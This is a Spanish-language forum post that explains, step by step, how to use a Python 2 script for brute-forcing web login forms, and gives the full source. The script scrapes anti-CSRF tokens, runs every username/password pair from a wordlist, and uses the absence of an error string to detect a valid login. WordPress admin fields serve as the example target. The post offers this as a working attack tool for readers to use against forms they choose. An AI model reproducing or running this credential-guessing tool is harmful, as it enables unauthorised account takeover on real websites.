Si el formulario que ustedes van a atacar, funciona con el sistemita ese de los tokens, entonces denle "s" o "S" y enter ... De ser así, os pedirá el nombre del campo del token que se envía , para así el programa buscarlo y poder enviarlo en cada petición...

De lo contrario, simplemente pongan n o N y al siguiente paso...

El siguiente es el vital y el que nos permitirá saber cuando nuestro login es válido ... Mensaje de error .

¿ Cómo saber dicho mensaje ?

Van al formulario, ingresan un usuario y contraseña incorrectos. Les devolverá algo tipo : "Credenciales inválidas", "Usuario o contraseña incorrectos", "Error al ingresar", ETC

Entonces nosotros tomamos una palabrita de ellas, "Error" o "incorrectos" o el que les salga a ustedes. Este mensaje es el que nos ayudará a ver que nuestro usuario & contraseña funcionen.

Posteriormente, el programa nos dirá "Campo user: " , que es el nombre del Input que envía el formulario , por ejemplo <input type="text" name="user"> , entonces ingresan "user".

Luego, "Campo password: ". Vamos al source y buscamos el type="password" , miramos su propiedad name (por ejemplo <input type="password" name="clave"> e ingresamos "clave" en el programa.

Seguido de eso, nos pedirá un "Archivo(Diccionario): " Que es con el diccionario que atacaremos el formulario, ahí ingresas la ruta de vuestro diccionario.

Y como ultima cosa, nos preguntará ... Campos adicionales ?(s/n)

Por si envía algún dato en hidden el formulario. La manera de insertar el campo es la siguiente:
NAME VALUE
Código:
Data:redirect_to /wp-admin
Data:remember_me 1
Que sería el equivalente a
Código
  1. <input type="hidden" name="redirect_to" value="/wp-admin">
  2. <input type="hidden" name="remember_me" value="1">
Luego dirá "Data:" y para correr el bruteforce, tipeamos "//brute" y paff , buscará el login correcto.
Código
  1. # Autor   : 0x5d || JaAViEr
  2. # Twitter : @0x5D
  3.  
  4. import urllib
  5. import sys
  6. import re
  7. import urllib2
  8.  
  9. class brute:
  10.  
  11. def __init__(self):
  12.  
  13.  
  14. self.nombre_token = ""
  15. self.valor_token = ""
  16. self.actualizar_formulario = ""
  17. global formulario
  18. formulario = {}
  19. self.buscar_hash = raw_input("Se necesita token ?(s/n): ")  
  20. self.buscar_hash = True if self.buscar_hash.lower() == "s" else False
  21. self.url_form = "" # URL donde se encuentra el formulario
  22. if self.buscar_hash:
  23. if self.extraer_token():
  24. print "Token FOUND"
  25. else:
  26. print "Token Not Found :( "
  27. self.url_to_post = "" # URL donde se envia el formulario
  28. self.mensaje_error = raw_input("Mensaje de Error: ") # Mensaje de error, para detectar un login correcto
  29. self.campo_usuario = raw_input("Campo user: ") # Nombre del campo (input) del usuario
  30. self.campo_password = raw_input("Campo password: ") # Nombre del campo (input) del password
  31. self.archivo_diccionario = raw_input("Archivo(Diccionario): ") # Archivo con Diccionario
  32. self.datos_adicionales = raw_input("Campos adicionales? (s/n): ")
  33. self.respuesta_adicionales = True if self.datos_adicionales.lower() == "s" else False
  34. self.estado_token = True
  35. if self.respuesta_adicionales:
  36. self.agregar_campos()
  37. self.bruteforce()
  38.  
  39. def agregar_campos(self):
  40. formulario = {}
  41. while self.respuesta_adicionales:
  42. data = raw_input('Data: ')
  43. parse_data = data.split(" ")
  44. if data != "//brute":
  45. formulario.update({parse_data[0]:parse_data[1]})
  46. print formulario
  47. else:
  48. break
  49.  
  50. def extraer_token(self):
  51.  
  52. estado_token = True
  53. if len(self.nombre_token)<=0:
  54. self.nombre_token = raw_input("Nombre del token: ")
  55. while estado_token:
  56. try:
  57. buscar = urllib2.urlopen(self.url_form)
  58. if self.nombre_token in buscar.read():
  59.  
  60. estado_token = False
  61. buscar_token = urllib2.urlopen(self.url_form)
  62. found = re.findall("name=\"%s\" (.*)"%self.nombre_token, buscar_token.read())
  63. if len(found)>0:
  64.  
  65. for i in range(len(found)):
  66.  
  67. if "value=\"" in found[i]:
  68. self.split_token = re.findall("value=\"(.*)\"", found[i])
  69. self.valor_token = self.split_token[0]
  70. return True
  71. else:
  72. return False
  73. else:
  74. return False
  75. else:
  76. return False
  77. except:
  78. return False
  79.  
  80. def bruteforce(self):
  81. cookie = urllib2.HTTPCookieProcessor()
  82. opener = urllib2.build_opener(cookie)
  83. urllib2.install_opener(opener)
  84. estado_archivo = True
  85. while estado_archivo:
  86. try:
  87. cargar_diccionario = open(self.archivo_diccionario, "r")
  88. separar_datos = cargar_diccionario.read().split("\n")
  89. estado_archivo = False
  90. except:
  91. print "No se encuentra el archivo mencionado"
  92. self.archivo_diccionario = raw_input("Archivo(Diccionario): ")
  93. print "Buscando el login correcto ..."
  94. for users in separar_datos:
  95.  
  96. for passwords in separar_datos:
  97.  
  98. if self.buscar_hash:
  99. datos_form = formulario.update({self.campo_usuario:users, self.campo_password:passwords, self.nombre_token:self.valor_token})
  100. else:
  101. datos_form = formulario.update({self.campo_usuario:users, self.campo_password:passwords})
  102.  
  103. enviar_formulario = urllib2.urlopen(self.url_to_post, urllib.urlencode(formulario))
  104. if self.mensaje_error in enviar_formulario.read():
  105. print ".",
  106. else:
  107. print "\nFound User:%s - Password:%s"%(users, passwords)
  108. sys.exit(1)
  109. cargar_diccionario.close()
  110.  
  111. bf = brute()
  112.  
Le faltan mil cosas por pulir ... Luego lo pasaré para que lea parámetros por ARGV .

Para ingresar la URL del formulario deben editar la línea :
Código
  1. self.url_form = "" # URL DEL FORMULARIO
  2. self.url_to_post = "" # URL DONDE SE ENVIA EL FORM
  3.  
Ojo, que a veces el formulario envía el POST al mismo archivo, pero no siempre ! .
Pido el URL del formulario para poder extraer los tokens previo envío , posteriormente, envío todos los datos a la URL que procesa los datos ;D

Espero sea de su agrado.

Fuente : http://www.vodale.com/blog

Saludos, Javier.
Páginas: 1 [2] 3 4 5 6
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines